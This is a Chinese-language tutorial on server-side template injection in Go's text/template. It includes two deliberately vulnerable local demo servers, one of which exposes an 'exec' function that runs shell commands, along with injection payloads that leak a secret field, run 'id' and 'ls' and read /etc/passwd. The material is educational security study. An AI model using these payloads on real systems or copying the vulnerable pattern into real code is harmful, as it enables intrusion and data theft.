Go下template的SSTI分析
基本认识
Go 标准库中提供的 html/template
和 text/template
两种模板引擎
具体语法
这里主要是记录一下📝
支持模板语法,比如:
{{ . }}
:当前上下文{{ .Field }}
:访问字段{{ if }}{{ else }}{{ end }}
:条件{{ range }}{{ end }}
:循环{{ define }}
和{{ template }}
:模板嵌套
数据求值
- 访问字段:
{{ .FieldName }}
如果 .
是一个结构体或指向结构体的指针,这会访问其名为 FieldName
的导出字段(首字母大写)。
- 访问嵌套字段:
{{ .StructField.NestedField }}
- 访问 Map 中的值:
{{ .MapName "keyName" }}
(如果 Map 的 key 是字符串)
{{ index .MapName $keyVariable }}
(使用 index
内建函数,更通用)
- 访问 Slice 或 Array 中的元素:
{{ .SliceName 0 }}
(Go 1.11+ 支持直接索引)
{{ index .SliceName $indexVariable }}
(使用 index
内建函数)
- 方法调用:
{{ .MethodName arg1 arg2 }}
可以调用当前对象 .
上的方法。
方法必须只有一个返回值,或者有两个返回值且第二个是 error
类型。模板会自动检查 error,如果非 nil 则中断执行。
这个常试一试
- 根数据对象: 在模板的顶层,
.
通常指向Execute
方法传入的整个数据对象。
控制结构
{{ if pipeline }}
… {{ end }}
{{ if pipeline }}
… {{ else }}
… {{ end }}
{{ if pipeline1 }}
… {{ else if pipeline2 }}
… {{ else }}
… {{ end }}
{{ range $index, $element := pipeline }}
… {{ end }}
(用于 Slice/Array)
{{ range $key, $value := pipeline }}
… {{ end }}
(用于 Map)
{{ range pipeline }}
… {{ else }}
… {{ end }}
{{ with pipeline }}
… {{ end }}
- 在
with
块内,.
变成了pipeline
的结果。
{{ with pipeline }}
… {{ else }}
… {{ end }}
- 如果
pipeline
的结果为false
(按if
的规则),则执行else
部分。
Others
- 还可以用管道符号
- 调用预定义的内置函数或开发者通过
template.Funcs()
注册的自定义函数
两个引擎对比
html/template
内置 自动转义机制,防止 XSS 攻击
支持模板继承、布局等 Web 模板功能
提供 template.HTML
, template.URL
, template.JS
等类型来显式声明不需要转义的内容(谨慎使用)
实例如下
package main
import ( "html/template" "os")
func main() { tmpl := `<h1>Hello, {{ .Name }}</h1>` data := map[string]string{"Name": "<script>alert('Go Go Go!!')</script>"}
t := template.Must(template.New("web").Parse(tmpl)) t.Execute(os.Stdout, data)}
输出结果,实现了转义
<h1>Hello, <script>alert('Go Go Go!!')</script></h1>
text/template
Go 的 text/template
主要用于生成纯文本输出,例如配置文件、电子邮件、源代码、普通文本消息等。与主要用于生成 HTML 的 html/template
不同,text/template
不具备上下文感知和自动转义功能。这意味着它不会根据输出的位置(如 HTML 标签、属性、JavaScript 脚本等)自动进行安全处理。
示例如下
package main
import ( "os" "text/template")
func main() { // 构建模板 tmpl, err := template.New("").Parse("Hello,{{ . }}") if err != nil { panic(err) }
err = tmpl.Execute(os.Stdout, "Bpple") if err != nil { panic(err) }}
🌟Attack
模板注入
这个主要可以帮助我们获取一下变量值等信息
整理了一个实例,可以运行比较测试一下
package main
import ( "fmt" "html" "log" "net/http" "text/template")
// 模拟一些应用数据,其中包含敏感信息var appData = struct { AdminNote string SecretKey string}{ AdminNote: "System is running smoothly.", SecretKey: "Flag{1234567890abcdef}",}
func main() { http.HandleFunc("/vulnerable", func(w http.ResponseWriter, r *http.Request) { // 从查询参数获取 'format' format := r.URL.Query().Get("format") if format == "" { format = "Welcome, user!" } templateString := format
w.Header().Set("Content-Type", "text/plain; charset=utf-8") // 明确是纯文本 w.WriteHeader(http.StatusOK)
tmpl, err := template.New("vuln").Parse(templateString) if err != nil { fmt.Fprintf(w, "Template parsing error: %v\n", err) log.Printf("Vulnerable endpoint parse error: %v (Input: %q)", err, format) return }
err = tmpl.Execute(w, appData) if err != nil { fmt.Fprintf(w, "\nTemplate execution error: %v", err) log.Printf("Vulnerable endpoint execute error: %v (Input: %q)", err, format) } })
http.HandleFunc("/safe", func(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get("name") if name == "" { name = "Guest" } templateString := "Hello, {{ .UserName }}! The admin note is: {{ .AdminNote }}"
tmpl := template.Must(template.New("safe").Parse(templateString)) dataForTemplate := struct { UserName string AdminNote string
}{ UserName: name, AdminNote: appData.AdminNote, }
w.Header().Set("Content-Type", "text/plain; charset=utf-8") // 明确是纯文本 w.WriteHeader(http.StatusOK)
// 执行静态模板,传入包含用户数据(但没有秘密)的数据 err := tmpl.Execute(w, dataForTemplate) if err != nil { fmt.Fprintf(w, "Template execution error: %v\n", err) log.Printf("Safe endpoint execute error: %v", err) } })
http.HandleFunc("/safe-html-manual", func(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get("name") if name == "" { name = "Guest" }
templateString := "<h1>Hello, {{ .EscapedName }}</h1><p>Admin note: {{ .EscapedAdminNote }}</p>" tmpl := template.Must(template.New("safe-html").Parse(templateString))
dataForTemplate := struct { EscapedName string EscapedAdminNote string }{ EscapedName: html.EscapeString(name), EscapedAdminNote: html.EscapeString(appData.AdminNote), }
w.Header().Set("Content-Type", "text/html; charset=utf-8") // 输出是 HTML w.WriteHeader(http.StatusOK)
err := tmpl.Execute(w, dataForTemplate) if err != nil { fmt.Fprintf(w, "Template execution error: %v\n", err) log.Printf("Safe HTML endpoint execute error: %v", err) } })
fmt.Println("Starting template injection demo server on :8090...") fmt.Println("Endpoints:") fmt.Println(" Vulnerable: http://localhost:8090/vulnerable?format=<template_string>") fmt.Println(" Safe: http://localhost:8090/safe?name=<user_name>") fmt.Println(" Safe HTML: http://localhost:8090/safe-html-manual?name=<user_name>") fmt.Println("\nInjection examples for /vulnerable:") fmt.Println(" - Access Secret: http://localhost:8090/vulnerable?format={{.SecretKey}}") fmt.Println(" - List Fields: http://localhost:8090/vulnerable?format={{.}}") fmt.Println(" - Execute Func: http://localhost:8090/vulnerable?format={{printf \"Admin note is: %s\" .AdminNote}}") fmt.Println(" - Conditional: http://localhost:8090/vulnerable?format={{if .SecretKey}}Secret exists!{{end}}")
log.Fatal(http.ListenAndServe(":8090", nil))}
我们测试一下
🔍vulnerable?format={{.}}
{{if .SecretKey}}Secret exists!{{end}}
命令执行
我们想实现命令执行的前提是,代码环境中存在相关函数等,就是说可供我们利用
我们再调一个靶场如下
package main
import ( "fmt" "html" "log" "net/http" "os/exec" "text/template")
var appData = struct { AdminNote string SecretKey string}{ AdminNote: "System is running smoothly.", SecretKey: "Flag{1234567890abcdef}",}
func executeCommand(command string) string { cmd := exec.Command("sh", "-c", command) output, err := cmd.CombinedOutput() if err != nil { return fmt.Sprintf("Error executing command '%s': %v\nOutput:\n%s", command, err, string(output)) } return string(output)}
func main() { http.HandleFunc("/vulnerable", func(w http.ResponseWriter, r *http.Request) { format := r.URL.Query().Get("format") if format == "" { format = "Welcome, user!" }
templateString := format
w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.WriteHeader(http.StatusOK)
tmpl := template.New("vuln").Funcs(template.FuncMap{ "exec": executeCommand, })
tmpl, err := tmpl.Parse(templateString) if err != nil { fmt.Fprintf(w, "Template parsing error: %v\n", err) log.Printf("Vulnerable endpoint parse error: %v (Input: %q)", err, format) return }
err = tmpl.Execute(w, appData) if err != nil { fmt.Fprintf(w, "\nTemplate execution error: %v", err) log.Printf("Vulnerable endpoint execute error: %v (Input: %q)", err, format) } })
http.HandleFunc("/safe", func(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get("name") if name == "" { name = "Guest" } templateString := "Hello, {{ .UserName }}! The admin note is: {{ .AdminNote }}" tmpl := template.Must(template.New("safe").Parse(templateString)) dataForTemplate := struct { UserName string AdminNote string }{ UserName: name, AdminNote: appData.AdminNote, } w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.WriteHeader(http.StatusOK) err := tmpl.Execute(w, dataForTemplate) if err != nil { fmt.Fprintf(w, "Template execution error: %v\n", err) log.Printf("Safe endpoint execute error: %v", err) } })
http.HandleFunc("/safe-html-manual", func(w http.ResponseWriter, r *http.Request) { name := r.URL.Query().Get("name") if name == "" { name = "Guest" } templateString := "<h1>Hello, {{ .EscapedName }}</h1><p>Admin note: {{ .EscapedAdminNote }}</p>" tmpl := template.Must(template.New("safe-html").Parse(templateString)) dataForTemplate := struct { EscapedName string EscapedAdminNote string }{ EscapedName: html.EscapeString(name), EscapedAdminNote: html.EscapeString(appData.AdminNote), } w.Header().Set("Content-Type", "text/html; charset=utf-8") w.WriteHeader(http.StatusOK) err := tmpl.Execute(w, dataForTemplate) if err != nil { fmt.Fprintf(w, "Template execution error: %v\n", err) log.Printf("Safe HTML endpoint execute error: %v", err) } })
fmt.Println("Starting template injection demo server on :8090...") fmt.Println("Endpoints:") fmt.Println(" Vulnerable: http://localhost:8090/vulnerable?format=<template_string>") fmt.Println(" Safe: http://localhost:8090/safe?name=<user_name>") fmt.Println(" Safe HTML: http://localhost:8090/safe-html-manual?name=<user_name>") fmt.Println("\nInjection examples for /vulnerable:") fmt.Println(" - Access Secret: http://localhost:8090/vulnerable?format={{.SecretKey}}") fmt.Println(" - List Fields: http://localhost:8090/vulnerable?format={{.}}") fmt.Println(" - Execute Func: http://localhost:8090/vulnerable?format={{printf \"Admin note is: %s\" .AdminNote}}") fmt.Println(" - Conditional: http://localhost:8090/vulnerable?format={{if .SecretKey}}Secret exists!{{end}}") fmt.Println(" - !! RCE !! : http://localhost:8090/vulnerable?format={{exec \"id\"}}") fmt.Println(" - !! RCE !! : http://localhost:8090/vulnerable?format={{exec \"ls -la /\"}}") fmt.Println(" - !! RCE !! : http://localhost:8090/vulnerable?format={{exec \"cat /etc/passwd\"}}")
log.Fatal(http.ListenAndServe(":8090", nil))}
添加到 FuncMap:在 /vulnerable
处理函数中,创建模板实例后,使用 .Funcs()
方法将 executeCommand
函数添加到模板的函数映射中,并将其命名为 exec
。
然后模板中可以使用 {{ exec "command" }}
来调用这个函数。.Funcs()
必须在 .Parse()
之前调用。
利用效果如下
http://localhost:8090/vulnerable?format={{exec%20%22ls%20-la%20/%22}}